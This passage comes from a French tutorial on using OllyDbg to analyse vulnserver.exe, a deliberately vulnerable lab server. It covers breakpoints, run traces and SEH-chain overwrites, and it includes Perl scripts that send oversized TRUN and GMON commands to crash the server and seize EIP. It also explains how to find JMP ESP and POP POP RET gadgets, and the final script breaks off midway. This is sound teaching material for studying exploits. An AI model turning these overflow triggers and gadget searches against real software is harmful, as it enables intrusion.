ont été affichées dans la fenêtre CPU, donc si vous êtes entré dans une
instruction CALL, ou avez suivi un JMP et que vous souhaitez vous
rappeler l'emplacement du code précédent, vous pouvez utiliser le plus
(+) et les touches moins (-) pour naviguer dans l'historique. Essayez la
touche moins maintenant, la vue CPU devrait alors afficher
l'instruction CALL que vous venez d'exécuter. Utilisez la touche plus
pour revenir à l'instruction en cours.
Notez que cette petite astuce vous permet uniquement de visualiser les
instructions qui ont été réellement affichées et suivies dans le
débogueur. Vous ne pouvez pas laisser le programme s’exécuter,
générer un plantage, puis utiliser la touche moins pour vérifier les
instructions juste avant le plantage, ni laisser votre programme
s’exécuter jusqu’à ce qu’il atteigne un point d’arrêt, puis prendre du
recul. Si ce type de fonctionnalité vous intéresse, vous pouvez utiliser
les capacités Run trace d'OllyDbg, que je couvrirai plus loin dans cette
section.
Animation
Si vous souhaitez parcourir votre code de manière contrôlée, mais que
vous n'aimez pas avoir à marteler rapidement les boutons F7 et/ou F8,
vous pouvez profiter des capacités d'animation d'OllyDbg.
Appuyez sur Ctrl-F7 pour l'animation "Step into" et Ctrl-F8 pour
l'animation "Step out".
Cela exécutera le code rapidement, vous permettant de faire une pause
en appuyant sur la touche Échap.
Vous pouvez ensuite utiliser les touches plus (+) et moins (-) pour
parcourir l'historique de votre session animée. Essayez d'appuyer sur
Ctrl-F7 maintenant pour faire une séquence d'animation, puis
appuyez sur Échap pour terminer.
Utilisez maintenant les touches plus (+) et moins (-) pour parcourir un
peu votre historique d'exécution, jusqu'à ce que vous soyez à l'aise
avec la façon dont cela fonctionne.
Définition de points d'arrêt
Jusqu'à présent, nous avons utilisé des contrôles plus ou moins manuel
sur la façon dont le programme est exécuté, nous devons soit valider
chaque instruction à l'avance, soit laisser les instructions s'exécuter de
manière semi-automatisée en appuyant sur Esc (au bon moment)
lorsque nous voulons que le programme s'arrête.
Et si nous voulons arrêter le programme à un moment particulier au
milieu de son exécution ?
La méthode pas à pas sera trop lente (il y a beaucoup d'instructions
même dans le programme le plus simple), et la méthode d'animation
sera trop imprécise.
Eh bien, pour nous permettre de nous arrêter à un point de notre choix,
nous pouvons utiliser des points d'arrêt (Break Point), qui sont
essentiellement des marqueurs sur des instructions particulières dans
le code qui indiquent au débogueur de suspendre l'exécution
lorsqu'une de ces instructions sont sur le point d'être exécutée par le
CPU.
Essayons d'en définir un maintenant. Tout d'abord, utilisez l'option du
menu View Executable modules ou sur pour afficher une liste
des modules exécutables chargés avec l’exécutable.
Double-cliquez sur l'entrée vulnserv pour ouvrir cette vue dans la
fenêtre CPU (nous le faisons car il est possible que notre précédente
session d'animation ait mis en avant un autre module).
Maintenant, faites un clic droit dans le volet supérieur gauche de la
vue CPU et sélectionnez Search for All referenced text strings
(Rechercher Toutes les chaînes de texte référencées).
Double-cliquez sur l'entrée dont le texte est « Welcome to
Vulnerable Server! Enter HELP for help. " pour accéder aux
instructions associées dans la vue CPU (voir l'entrée sélectionnée dans
la capture d'écran ci-dessus).
Maintenant, avec cette instruction mise en évidence dans la vue CPU :
Appuyez sur la touche F2, qui est utilisée pour définir et effacer les
points d'arrêt.
Si vous ouvrez l'option de menu
View Breakpoints ou appuyez
sur Alt-B : ou si vous cliquez sur
le
Vous devriez maintenant voire également votre point d'arrêt répertorié
dans la vue Breakpoints (Points d'arrêt).
Vous noterez que l'adresse mémoire de cette instruction sera surlignée
en rouge dans le volet supérieur gauche de la vue CPU.
Donc, un point d'arrêt a été défini, voyons maintenant comment nous
pouvons le déclencher, ainsi que comment laisser le code s'exécuter
normalement dans le débogueur.
Remarque : Lorsque vous atteignez le point d’arrêt dans le
programme où vous insérez votre propre code dans le programme (par
exemple lorsque vous utilisez le shellcode dans une modification de
code que vous écrivez, ou même lorsque vous écrivez votre propre
shellcode), vous pouvez également utiliser l'opcode "\XCC" pour
insérer vos propres points d'arrêt directement dans le code. Nous
verrons comment cela est utilisé plus en détail dans une section
ultérieure.
Exécuter le code
Pour permettre au code de s'exécuter dans le débogueur, appuyez sur
la touche F9 ou Exécuter ou sur le bouton .
Le programme s'exécutera désormais essentiellement normalement,
jusqu'à ce qu'un point d'arrêt soit atteint ou qu'une exception se
produise. (À vrai dire, vous pouvez également suspendre
manuellement le programme dans le débogueur, mais cela n'est
souvent pas particulièrement utile.)
En règle générale, lorsque vous souhaitez interagir avec un
programme d'une manière normale pendant que vous le déboguez, par
exemple si vous souhaitez envoyer des données à un programme pour
provoquer une exception, l'option Exécuter F9 est ce que vous devez
utiliser pour autoriser cela à se produire.
Maintenant que notre programme fonctionne normalement dans le
débogueur, essayons de déclencher notre point d'arrêt. Dans ce cas,
nous avons défini un point d'arrêt sur l'instruction qui fait référence à
un bloc de texte qui est affiché par le programme en réponse à une
connexion d'un client, donc pour atteindre le point d'arrêt, nous
devons initier une connexion client. Puisque nous sommes
actuellement en mode Exécution, le programme fonctionnera
normalement dans le débogueur jusqu'à ce que le code référencé par le
point d'arrêt soit sur le point d'être exécuté.
Enregistrez ce qui suit dans un fichier script Perl basicclient.pl.
#!/usr/bin/perl
use IO::Socket;
if ($ARGV[1] eq '') {
die("Usage: $0 IP_ADDRESS PORT\n\n");
}
$socket = IO::Socket::INET->new( # setup TCP socket –
$socket
Proto => "tcp",
PeerAddr => "$ARGV[0]", # command line variable 1 – IP
Address
PeerPort => "$ARGV[1]" # command line variable 2 – TCP port
) or die "Cannot connect to $ARGV[0]:$ARGV[1]";
$socket->recv($sd, 1024); # Receive 1024 bytes data from
$socket, store in $sd
print $sd;
Personnellement j’utilise l’éditeur gratuit de Microsoft, Visual
Studio Code, voir Ici :
Maintenant, exécutez le script, en fournissant au script l'adresse IP
locale appropriée et le numéro de port TCP pour vulnserver.exe
comme indiqué ci-dessous (Local IP 127.0.0.1 et Port 9999).
C:\Work>perl basicclient.pl 127.0.0.1 9999
Dans un PowerShell :
La fenêtre de vulnserver :
Votre code devrait maintenant s'arrêter à votre point d'arrêt configuré,
vous permettant de reprendre le contrôle de l'exécution, afin que vous
puissiez parcourir le futur code.
Appuyez à nouveau sur F2 pour effacer le point d'arrêt, puis sur F9
pour redémarrer le programme.
J'ai mentionné au début de cette section qu'un programme autorisé à
s'exécuter ne s'arrêterait que lorsqu'un point d'arrêt est atteint ou
qu'une exception se produit. Essayons ensuite de provoquer une
exception, pour voir comment le programme réagit.
Débogage exceptionnel
Lorsqu'une exception se produit dans un programme en cours
d'exécution dans un débogueur, le débogueur arrête l'exécution et vous
permet d'afficher l'état du processeur et de la mémoire à l'intérieur du
programme au moment où l'exception s'est produite.
C'est exactement le genre d'informations dont nous avons besoin pour
voir si nous voulons pouvoir écrire une modification de code fiable
pour tester la vulnérabilité du programme.
Pour déclencher une exception, je vais utiliser une vulnérabilité dans
vulnserver.exe. Si vous souhaitez découvrir comment la vulnérabilité
a été découverte, vous pouvez visiter les liens suivants :
http://resources.infosecinstitute.com/intro-to-fuzzing/
http://resources.infosecinstitute.com/fuzzer-automation-with-spike/
Le code suivant provoquera une exception dans vulnserver.exe.
Enregistrer-le dans un fichier perl trun.pl
#!/usr/bin/perl
use IO::Socket;
if ($ARGV[1] eq '') {
die("Usage: $0 IP_ADDRESS PORT\n\n");
}
$baddata = "TRUN ."; # sets variable $baddata to "TRUN ."
$baddata .= "A" x 5000; # appends (.=) 5000 "A" characters to $baddata
$socket = IO::Socket::INET->new( # setup TCP socket – $socket
Proto => "tcp",
PeerAddr => "$ARGV[0]", # command line variable 1 – IP Address
PeerPort => "$ARGV[1]" # command line variable 2 – TCP port
) or die "Cannot connect to $ARGV[0]:$ARGV[1]";
$socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd
print "$sd"; # print $sd variable
$socket->send($baddata); # send $baddata variable via $socket
Exécutez le script comme suit (assurez-vous de fournir l'adresse IP et
le numéro de port corrects si vous ne l'exécutez pas à partir du même
hôte exécutant vulnserver.exe).
C:\Work>perl trun.pl 127.0.0.1 9999
Dans un PowerShell :
Le programme affiche :
Si tout se passe comme prévu, votre débogueur devrait s'arrêter,
l'écran ressemblant à la capture d'écran ci-dessous.
Si cela ne fonctionne pas, redémarrez vulnserver.exe dans le
débogueur (option de menu Debug Restart), appuyez sur F9 pour
laisser le programme s'exécuter et réessayez.
Le texte dans le coin inférieur gauche de l'écran montre ce qui suit.
Et les valeurs de registre sont les suivantes. Notez la valeur du registre
EIP.
Voici comment le débogueur se comportera lorsqu'une exception se
produira. Vous remarquerez que vous pouvez voir les valeurs de
registre du processeur, ainsi que les données de pile et de mémoire,
telles qu'elles apparaissent au moment de l'accident. Cependant, vous
ne pouvez pas voir les instructions que le processeur tentait d'exécuter,
car le pointeur d'instruction (EIP) pointe vers une adresse mémoire qui
ne semble contenir aucun code (41414141). Hummmmm….
À ce stade, vous pouvez utiliser Shift + F7 / F8 / F9 pour transmettre
l'exception au programme à gérer, mais ne le faisons pas pour le
moment (nous allons essayer cela dans une prochaine section
consacrée à la chaîne SEH).
Exécutez le traçage pour trouver la cause d'une
exception
Nous avons maintenant vu à quoi ressemble une exception lorsqu'elle
est frappée dans un débogueur, mais nous n'avons toujours pas vu
comment identifier la section particulière de code où l'exception se
produit. Pour ce faire, nous pouvons utiliser la fonctionnalité Run
trace d'OllyDbg.
Le suivi de l'exécution nous permet essentiellement de consigner les
instructions exécutées par le débogueur, de sorte que lorsqu'un
événement tel qu'une exception se produit, nous ayons un historique
des commandes que nous pouvons parcourir pour découvrir comment
cela s'est produit.
Bien que ce soit sans aucun doute une excellente fonctionnalité, il y a
quelques mises en garde à utiliser - principalement qu'il est beaucoup
plus lent que d'exécuter du code normalement et qu'il peut utiliser
beaucoup de mémoire si vous le laissez fonctionner trop longtemps.
Par conséquent, si nous voulons utiliser Run trace pour identifier
efficacement la cause d'une exception, nous devons essayer d'obtenir
l'exécution du code aussi près que possible du plantage avant de
l'activer.
Voyons si nous pouvons utiliser Run trace pour trouver le code qui
mène à l'exception examinée dans la section précédente.
En examinant le script trun.pl que nous avons utilisé pour créer
l'exception, nous constatons que les données que nous envoyons à
l'application sont une chaîne commençant par le texte «TRUN».
La ligne appropriée du script qui définit cette chaîne est indiquée ci-
dessous. (Le script complet est fourni dans la section précédente).
$baddata = "TRUN ."; # sets variable $baddata to "TRUN ."
Jetons un œil dans le débogueur pour voir si nous pouvons trouver des
références à cette chaîne, car ces références peuvent indiquer des
segments de code qui traitent ces données particulières. Si nous
trouvons de telles références, cela nous fournira, espérons-le, une
bonne zone à partir de laquelle commencer notre trace d'exécution.
Redémarrez vulnserver.exe dans le débogueur et appuyez sur F9 pour
laisser le programme s'exécuter. Maintenant, faites un clic droit dans
le volet du désassembleur et sélectionnez l'option Rechercher ->
Toutes les chaînes de texte référencées.
Cette fonction recherche essentiellement toutes les références aux
chaînes de texte dans le code. (Bouton ).
Dans la fenêtre des chaînes de texte qui apparaît, à mi-chemin environ,
vous devriez voir une référence à une chaîne de texte ASCII "TRUN".
Voir la capture d'écran ci-dessus, où j'ai sélectionné cette entrée
particulière. Bien que cette instruction particulière ne soit pas
nécessairement placée immédiatement avant le code qui créera
l'exception que nous avons vue dans la section précédente, elle semble
être un bon endroit pour commencer à chercher.
Nous allons définir un point d'arrêt à cet emplacement dans le code et
voir si ce point d'arrêt est atteint avant que l'exception ne se produise.
Cela indiquerait que l'instruction marquée est située à un point
antérieur du chemin d'exécution que le code associé à l'exception et
peut être un bon endroit pour démarrer notre trace d'exécution.
Si le point d'arrêt n'est pas atteint, nous pouvons continuer à parcourir
le code pour voir si nous pouvons identifier une autre position à partir
de laquelle il pourrait être approprié de démarrer notre trace
d'exécution.
Double-cliquez sur l'entrée «TRUN» dans la fenêtre Chaînes de texte
pour accéder à l'instruction correspondante dans le volet du
désassembleur. Appuyez maintenant sur F2 pour définir un point
d'arrêt sur cet emplacement. L'adresse doit devenir rouge, comme
indiqué ci-dessous.
Nous sommes maintenant presque prêts à démarrer une trace
d'exécution pour voir si nous pouvons identifier les instructions
menant à notre exception.
Le programme s'exécute normalement dans le débogueur, avec un
point d'arrêt (espérons-le) défini à un endroit quelque part dans le code
pas trop loin avant que l'exception ne se produise.
Si tout se passe comme prévu, l'exécution du code devrait s'arrêter à
ce point d'arrêt lorsque nous utilisons le script trun.pl pour générer
l'exception, et cela devrait alors nous permettre de démarrer une trace
d'exécution qui identifiera les instructions qui mènent à notre
exception.
Avant d'essayer, nous allons modifier légèrement les options de trace
d'exécution afin de rendre le processus de trace d'exécution
légèrement plus efficace.
Ouvrez le menu Options, sélectionnez l'élément Options de débogage
et cliquez sur l'onglet Trace.
Activez les options Toujours tracer sur les DLL système et Toujours
tracer sur les chaînes et appuyez sur OK.
Voir la capture d'écran ci-dessous.
Cela empêchera notre débogueur d'intervenir dans les routines
système et les commandes de chaîne, ce qui dans de nombreux cas
n'est pas nécessaire et encombrera inutilement notre journal de suivi
d'exécution.
Exécutez maintenant le script trun.pl pour générer l'exception.
C:\Work>perl trun.pl 127.0.0.1 9999
L'exécution devrait s'arrêter à notre point d'arrêt. Succès !??!
Commençons maintenant une trace d'exécution.
Ceux-ci peuvent être lancés à l'aide de la touche Ctrl-F11 pour lancer
le traçage dans (Trace Into) en pas à pas détaillé ou Ctrl-F12 pour
lancer le traçage dessus (Trace Over) en pas à pas principal.
Comme avec les autres méthodes d'exécution de code du débogueur,
allez dans (Step Into) signifie de suivre le code dans les instructions
CALL, et passez dessus (Step Over) signifie des passer par-dessus.
Appuyez sur Ctrl-F11 pour faire un pas dans Run trace. Vous devriez
être accueilli très rapidement par la fenêtre contextuelle suivante,
indiquant que l'exception a été atteinte. La vitesse à laquelle cela s'est
produit suggère que l'emplacement de notre point d'arrêt a été bien
choisi - nous avons découvert le code qui mène à l'exception mais
nous ne sommes pas restés en attente pendant une longue période
pendant l'exécution de la trace.
Appuyez sur OK dans la fenêtre contextuelle pour la fermer.
Maintenant, pour voir le contenu du journal de trace d'exécution,
ouvrez le menu View Run Trace (Affichage et sélectionnez
Exécuter la trace) ou cliquez sur .
Vous devriez voir quelque chose comme ce qui suit, montrant
l'exception au bas de la fenêtre (entrée 0), avec toutes les autres
instructions depuis que la trace d'exécution a commencé répertoriée de
bas en haut dans l'ordre du plus au moins récemment exécuté.
À ce stade, si vous souhaitez examiner plus en détail la cause de
l'exception, vous savez maintenant exactement ce qui y mène.
Vous avez la possibilité de prendre l'adresse de l'une des instructions
ci-dessus, de définir un point d'arrêt à cet emplacement, de
redéclencher l'exception, puis de parcourir le code pour voir
exactement comment l'exception s'est produite.
N'oubliez pas que si vous souhaitez utiliser « Exécuter la trace » pour
trouver efficacement le code sujet aux exceptions, placez un point
d'arrêt aussi près que possible du point où vous pensez que l'exception
se produit (des essais et des erreurs peuvent être impliqués pour
obtenir le point d'arrêt au bon endroit), puis déclenchez l'exception et
exécutez la trace à partir du point d'arrêt.
Avant de continuer, nettoyez le point d'arrêt que vous avez ajouté dans
cette section.
Ouvrez le menu Affichage et sélectionnez Points d'arrêt ou appuyez
sur Alt-B pour ouvrir la fenêtre Points d'arrêt ou avec le bouton
et utilisez la touche Supprimer pour supprimer tous les points d'arrêt
existants répertoriés.
La chaîne SEH
"Qu'est-ce que la chaîne SEH ?" Je vous entends demander.
« Structured Exception Handler » Il s'agit essentiellement d'une
structure par thread en mémoire qui fournit une liste liée d'adresses de
gestionnaire d'erreurs qui peuvent être utilisées par les programmes
Windows pour gérer avec élégance les exceptions, comme celle que
nous avons générée dans la section précédente.
Une fois qu'une exception est détectée dans un programme, Windows
tentera de gérer cette exception en utilisant les routines de gestion des
erreurs dans Windows pour sélectionner un gestionnaire d'erreurs dans
la chaîne SEH. Ce gestionnaire d'erreurs sera une adresse mémoire qui
contient du code qui fera quelque chose d'utile, comme afficher une
boîte de dialogue d'erreur pour indiquer que le programme est tombé
en panne. Les entrées de cette chaîne SEH sont stockées dans la pile.
Nous pouvons regarder l'adresse SEH de deux manières - nous
pouvons faire défiler le volet de pile dans OllyDbg jusqu'à ce que nous
voyions le texte « SE handler » à côté d'une entrée de pile, ou nous
pouvons utiliser l'option de menu View SEH chain, (Voir les
chaines SEH).
Pour trouver l'entrée sur la pile, vous pouvez généralement
simplement faire défiler jusqu'au bas du volet de pile dans OllyDbg,
car c'est probablement là que l'entrée de chaîne SEH, fournie par le
système d'exploitation, sera située. L'utilisation de l'option de menu «
Chaîne SEH » vous montrera toutes les entrées de la chaîne SEH s'il y
en a plusieurs.
Pourquoi, en tant que modificateur logicielle, nous soucions-nous de
ce que contient la chaîne SEH ? Nous nous en soucions parce que la
chaîne SEH contient des adresses où l'exécution de code est redirigée
une fois qu'une erreur se produit, nous permettant d'utiliser toute
exception comme une opportunité de rediriger l'exécution de code
vers un emplacement de notre choix en écrasant ces entrées SEH avec
nos propres valeurs fournies. Étant donné que ces entrées de la chaîne
sont stockées sur la pile, elles sont idéalement placées afin d'être
écrasées par un débordement basé sur la pile.
Il y a quelques mises en garde dont vous devez être conscient lors de
modification de code avec écriture à partir de SEH, mais c'est quelque
chose que j'aborderai plus en détail dans un futur tutoriel, pour
l'instant nous allons juste couvrir comment utiliser le débogueur pour
déterminer si un écrasement SEH s'est produit.
Si ce n'est pas déjà fait, redémarrez le programme dans le débogueur
et appuyez sur F9 pour le lancer. Maintenant, exécutez le script
trun.pl créé dans le composant « Débogage exceptionnel » de la
section précédente pour récupérer l'exception dans le débogueur et
afficher les gestionnaires SEH, en utilisant la pile et les méthodes de
chaîne View SEH.
Ce que vous devriez voir maintenant, c'est une chaîne SEH intacte -
qui n'a pas été écrasée.
Vous pouvez le dire car l'adresse du gestionnaire est valide dans ntdll
(à partir de la fenêtre de chaîne SEH - voir capture d'écran ci-dessus)
et parce que l'entrée SEH près du bas de la pile est précédée d'une
entrée avec les données FFFFFFFF (cette entrée de pile doit être
marqué comme « Pointeur vers le prochain enregistrement SEH »).
Étant donné que la chaîne SEH est une liste liée, chaque entrée de la
liste contient un emplacement pour l'entrée suivante, la référence de la
dernière entrée SEH pointant vers FFFFFFFF pour indiquer qu'il s'agit
de l'entrée finale.
La capture d'écran suivante montre l'entrée SEH sur la pile, après
avoir défilé vers le bas du volet de la pile.
Ce qui suit montre une vue agrandie du volet de pile à partir du
dessus.
Comparons cela à une chaîne SEH qui a été écrasée.
Redémarrez vulnserver.exe dans OllyDbg et utilisez F9 pour le
démarrer.
Enregistrez les éléments suivants sous gmon.pl
#!/usr/bin/perl
use IO::Socket;
if ($ARGV[1] eq '') {
die("Usage: $0 IP_ADDRESS PORT\n\n");
}
$baddata = "GMON /"; # sets variable $baddata to "GMON /"
$baddata .= "A" x 5000; # appends (.=) 5000 "A" characters
to $baddata
$socket = IO::Socket::INET->new( # setup TCP socket –
$socket
Proto => "tcp",
PeerAddr => "$ARGV[0]", # command line variable 1 – IP
Address
PeerPort => "$ARGV[1]" # command line variable 2 – TCP port
) or die "Cannot connect to $ARGV[0]:$ARGV[1]";
$socket->recv($sd, 1024); # Receive 1024 bytes data from
$socket, store in $sd
print "$sd"; # print $sd variable
$socket->send($baddata); # send $baddata variable via
$socket
Et lancez-le :
C:\Work>perl gmon.pl 127.0.0.1 9999
Une exception devrait se produire. Vérifiez maintenant le bas de la
pile ainsi que la fenêtre de chaîne SEH.
Vous devriez voir que l'entrée SEH a été remplacée par 41414141,
tout comme le pointeur sur l'enregistrement SEH suivant.
Nous avons définitivement remplacé l'entrée SEH ici.
Une vue agrandie de la pile est illustrée ci-dessous.
Essayez maintenant de transmettre l'exception au programme à gérer à
l'aide de la combinaison de touches Maj + F7 / F8 / F9.
Vous devez obtenir une violation d'accès avec EIP pointant vers
41414141.
Windows a tenté de gérer l'exception précédente en transmettant le
contrôle à notre entrée SEH remplacée de 41414141.
Le texte dans le coin inférieur gauche montre ce qui suit.
Et les registres sont définis sur des valeurs comme indiqué ci-dessous
(notez la valeur de EIP)
Lorsque cela se produit dans un programme que vous déboguez, vous
devez savoir que vous avez une chance décente d'écrire une
modification de code SEH pour cette vulnérabilité, bien que, comme
je l'ai mentionné plus tôt, il y ait quelques mises en garde que vous
devez faire attention dont je discuterai dans un futur article.
Recherche de commandes
L'un des moyens les plus simples pour effectuer une modification de
code consiste à utiliser des instructions situées dans des zones de
mémoire spécifiques pour rediriger l'exécution du code vers des zones
de mémoire que nous pouvons contrôler.
Dans le cas des vulnérabilités présentées jusqu'à présent dans ce
didacticiel, nous avons réussi à définir le registre EIP aux
emplacements de notre choix à la fois via l'écrasement direct d'une
adresse RETN sur la pile et en utilisant une entrée SEH écrasée pour
rediriger l'exécution via la gestion des erreurs des routines Windows.
Si nous voulons utiliser ce contrôle sur EIP pour rediriger vers notre
propre code inséré dans l'application, la façon la plus simple de
procéder, est de trouver des instructions qui peuvent effectuer cette
redirection à des emplacements connus dans la mémoire.
Le meilleur endroit pour rechercher ces instructions se trouve dans le
code des exécutables principaux ou dans le code d'un module
exécutable chargé de manière fiable avec l'exécutable principal.
Nous pouvons voir quels modules nous devons choisir en permettant
au programme de fonctionner normalement, puis en vérifiant la liste
des modules exécutables dans OllyDbg.
Note : Cette méthode de vérification des modules chargés peut nous
faire manquer des DLL chargées avec retard. Si cela vous inquiète,
vous pouvez exécuter un peu l'exécutable à son rythme pour donner la
meilleure occasion à ces DLL d'être appelées avant de vérifier quels
modules sont chargés.
N'oubliez pas que si vous choisissez une adresse dans un module
chargé en différé, vous devez vous assurer que ce module est chargé
avant que toute modification logiciel qui en dépend ne soit déclenché.
Essayons maintenant. Redémarrez vulnserver dans le débogueur et
appuyez sur F9 pour le laisser s'exécuter.
Ouvrez maintenant le menu Affichage et sélectionnez l'option
Executable modules (Modules exécutables ou appuyez sur Alt-E ou
avec le bouton ).
Cela vous montrera une liste des modules exécutables actuellement
chargés avec l'exécutable principal
À ce stade, vous remarquerez très probablement qu'il existe un certain
nombre de modules parmi lesquels choisir….
Par le quelle devriez-vous commencer en premier ?
La meilleure façon de savoir comment procéder ici est de commencer
avec le but final à l’esprit.
Nous voulons un module qui offre un emplacement en mémoire où
nous pouvons trouver de manière fiable une instruction particulière
que nous pouvons utiliser pour rediriger le code de notre modification
logicielle.
Fondamentalement, cela se résume au module, y compris l'instruction
que nous voulons et il n'y a aucune caractéristique du module qui
empêchera cette instruction d'être utilisée.
Ces caractéristiques peuvent inclure une valeur restreinte dans
l'adresse ou diverses protections contre les modifications logiciels
telles que SafeSEH ou ASLR activées dans le module.
J'utilise généralement le processus suivant pour commander les
modules du moins chargés au plus utilisés, et je recherche d'abord les
modules les plus utilisables pour mon instruction en premier.
Les modules fournis par le système d'exploitation vont en bas de cette
liste. Vous pouvez savoir quels modules sont fournis par le système
d'exploitation en vérifiant le chemin complet du module. Ils se
trouvent généralement dans le dossier \Windows\system32\.
Il vaut mieux éviter ces modules pour un certain nombre de raisons.
Premièrement, ils changent entre les versions du système
d'exploitation, ainsi que les service packs et parfois même les
correctifs, ce qui signifie qu'une instruction que vous trouvez dans une
version du module peut ne pas être là dans une autre version, ce qui
signifie que votre modification de code ne fonctionnera que sur des
systèmes très spécifiques (ceux qui ont la même version du système
d'exploitation, le même service pack et peut-être même des correctifs
que votre système.)
Deuxièmement, ces modules fournis par le système d'exploitation vont
presque certainement être compilés à l'aide de fonctionnalités de
prévention des modifications logicielles basées sur le compilateur,
telles que SafeSEH et ASLR.
Fondamentalement, vous ne devriez regarder les modules fournis par
le système d'exploitation que si vous n'avez pas de meilleures options.
Un module que vous pouvez envisager d'utiliser est l’exécutable
principal lui-même, qui n'est souvent soumis à aucune protection
contre les modifications logicielles basée sur un compilateur, en
particulier lorsque l'application a été écrite par un développeur tiers et
non par Microsoft.
Cependant, l'utilisation de l'exécutable principal présente un défaut
majeur, car il commence presque toujours par un octet zéro.
C’est problématique car l'octet zéro est un terminateur de chaîne en
C/C++, et l'utilisation d’un octet zéro dans le cadre des chaînes
utilisées pour un débordement entraînera souvent la fin de la chaîne à
ce stade, ce qui pourrait empêcher le débordement approprié du buffer
et de stopper la modification logicielle.
Le meilleur choix de module à utiliser est celui fourni avec
l'application elle-même (en supposant une application tierce).
Ces modules sont souvent compilés sans protection contre les
modifications logicielles et puisqu'ils sont fournis avec l'application, la
structure du module reste généralement la même parmi les copies de
l'application avec le même numéro de version.
Cela vous donne la possibilité d'écrire un patch qui fonctionnera très
probablement sur un certain nombre de versions différentes de
Windows, tant que la version du programme reste la même.
Dans ce cas, nous avons un module, essfunc.dll, qui devrait convenir
à nos utilisations.
Double-cliquez dessus pour l'ouvrir dans la vue CPU. La barre de titre
devrait maintenant se terminer par le texte « module essfunc » si vous
avez correctement sélectionné le module essfunc.
Voyons comment trouver des instructions utiles dans ce module.
La première chose que nous devons nous poser est quelle est la
commande que nous allons rechercher.
Dans le cas de modifications logicielles, les instructions les plus
couramment utilisées sont celles qui sautent (JMP) ou appellent
(CALL) un registre particulier, ou une instruction POP, POP RET.
Les commandes JMP ou CALL sont utilisées lorsqu'un registre
particulier pointe vers un emplacement en mémoire que nous
contrôlons, et les instructions POP, POP RET sont utilisées lorsque
nous écrivons des modifications SEH sur les systèmes Windows XP
SP2 et plus.
En supposant que nous voulons rechercher une instruction «JMP
ESP», nous pouvons utiliser l'une des deux commandes accessibles
via un clic droit dans le volet supérieur gauche de la vue CPU du
module approprié.
La commande, accessible en cliquant avec le bouton droit sur le volet
supérieur gauche Search for Command (Rechercher
Commande), nous permet de rechercher une commande à la fois.
Une fois le premier résultat affiché, mis en évidence dans la vue CPU,
vous pouvez voir les résultats suivants en cliquant sur Ctrl-L ou en
sélectionnant Search Next (Rechercher Suivant) dans le menu
contextuel
Essayez ceci maintenant. Sélectionnez l'option Search for
Command (Rechercher Commande) dans le menu contextuel dans
le volet supérieur gauche de la vue CPU (assurez-vous que essfunc est
le module actuellement sélectionné - il doit le mentionner dans la
barre de titre, comme indiqué dans la capture d'écran ci-dessous).
Then, in the Find command window that appears, type “JMP ESP”
and hit Find.
Cela vous amènera à la première instance de cette commande dans le
module actuellement sélectionné. Maintenant, appuyez sur Ctrl-L
pour trouver l'instance suivante.
La deuxième commande, accessible en cliquant avec le bouton droit
sur le volet supérieur gauche et en sélectionnant Search for All
commands (Rechercher Toutes les commandes), ouvrira une
nouvelle fenêtre répertoriant toutes les instances de cette commande
dans le module actuellement sélectionné.
Essayez ceci maintenant. Sélectionnez l'option Search for All
commands (Rechercher Toutes les commandes) dans le menu
contextuel dans le volet supérieur gauche de la vue CPU.
Dans la zone Rechercher toutes les commandes, tapez « JMP ESP »
et appuyez sur Find (Rechercher). Une nouvelle fenêtre apparaîtra
alors montrant la liste complète des commandes ESP JMP trouvées
dans le module actuellement sélectionné.
Cela montre comment nous pouvons rechercher une seule instruction,
mais que faisons-nous si nous voulons rechercher plusieurs
commandes en séquence, comme un POP, POP RET ?
Eh bien, pour cela, nous pouvons utiliser les options de clic droit
Search for Sequence of commands (Rechercher Séquence de
commandes) ou Search for All sequences (Rechercher Toutes
les séquences), pour rechercher des instances individuelles ou toutes
les instances d'une séquence de commandes particulière.
Essayons de rechercher toutes les instances de séquences POP, POP
RET dans essfunc.dll. Assurez-vous que le module est toujours
sélectionné dans la vue CPU, puis cliquez avec le bouton droit sur le
volet supérieur gauche et sélectionnez Search for All sequences
(Rechercher Toutes les séquences). Ensuite, dans la fenêtre de
recherche de séquence de commandes qui apparaît, tapez ce qui suit :
POP r32
POP r32
RETN
Où «r32» est un raccourci pour n'importe quel registre 32 bits (par
exemple ESP, EAX, etc.). Voir la capture d'écran suivante.
Cliquez sur Find (Rechercher) et vous serez accueilli avec une fenêtre
«Found sequences » (Séquences trouvées) vous montrant tous les
emplacements où cette séquence de commandes existe dans le module
actuel. Votre position actuellement sélectionnée dans le code sera
également affichée dans la liste en rouge pour vous montrer où ces
commandes découvertes sont par rapport à votre position actuelle.
Double-cliquez sur l'une des entrées de la liste et vous serez redirigé
vers cet emplacement dans la vue CPU, afin que vous puissiez voir
que toutes les commandes que vous avez choisi de rechercher sont
réellement présentes. (Dans la capture d'écran ci-dessous, par
exemple, nous pouvons voir POP EBX, POP EBP, RETN).
Recherche dans la mémoire
Dans certaines circonstances, lors de l'écriture d'une modification
logicielle, vous devrez déterminer si les données que vous avez
envoyées à une application ont été capturées et stockées quelque part
en mémoire.
Ce type de condition est particulièrement utile lorsque vous avez
trouvé une vulnérabilité exploitable mais que vous n'avez pas la place
d'insérer votre code complètement dans le même ensemble de données
qui provoquerons l'exception.
En plaçant vos données utiles dans une autre zone accessible de la
mémoire du programme, vous pouvez ensuite utiliser un shellcode
spécial pour trouver ce code utile ailleurs dans la mémoire et rediriger
l'exécution vers celle-ci.
Vous pouvez rechercher très facilement dans la mémoire des valeurs
particulières dans OllyDbg. Essentiellement, vous devez insérer les
données appropriées dans le programme, suspendre le programme
débogué à un moment approprié de son exécution, puis ouvrir la vue
« Memory Map » ou ‘Map mémoire’ OllyDbg et utiliser la fonction
Rechercher pour voir si les données appropriées sont présentes.
Si votre objectif est de voir si les données stockées dans la mémoire
d'un programme peuvent être utilisées pour une modification de code
particulière, la meilleure façon de procéder consiste à envoyer les
données et à suspendre le programme dans le débogueur en
provoquant réellement l'exception appropriée.
Voyons comment cela fonctionne.
Ce code ci-dessous créera la même exception que nous avons utilisée
dans trun.pl ci-dessus, mais avant que le crash ne se déclenche, il
enverra également des données (une chaîne géante de caractères "B")
à l'application en utilisant la commande GDOG de vulnserver.
Enregistrez les éléments suivants sous sendextradata.pl.
#!/usr/bin/perl
use IO::Socket;
if ($ARGV[1] eq '') {
die("Usage: $0 IP_ADDRESS PORT\n\n");
}
$memdata = "GDOG "; #sets variable $memdata to "GDOG "
$memdata .= "B" x 5000; # appends (.=) 5000 "B" characters
to $memdata
$baddata = "TRUN ."; # sets variable $baddata to "TRUN ."
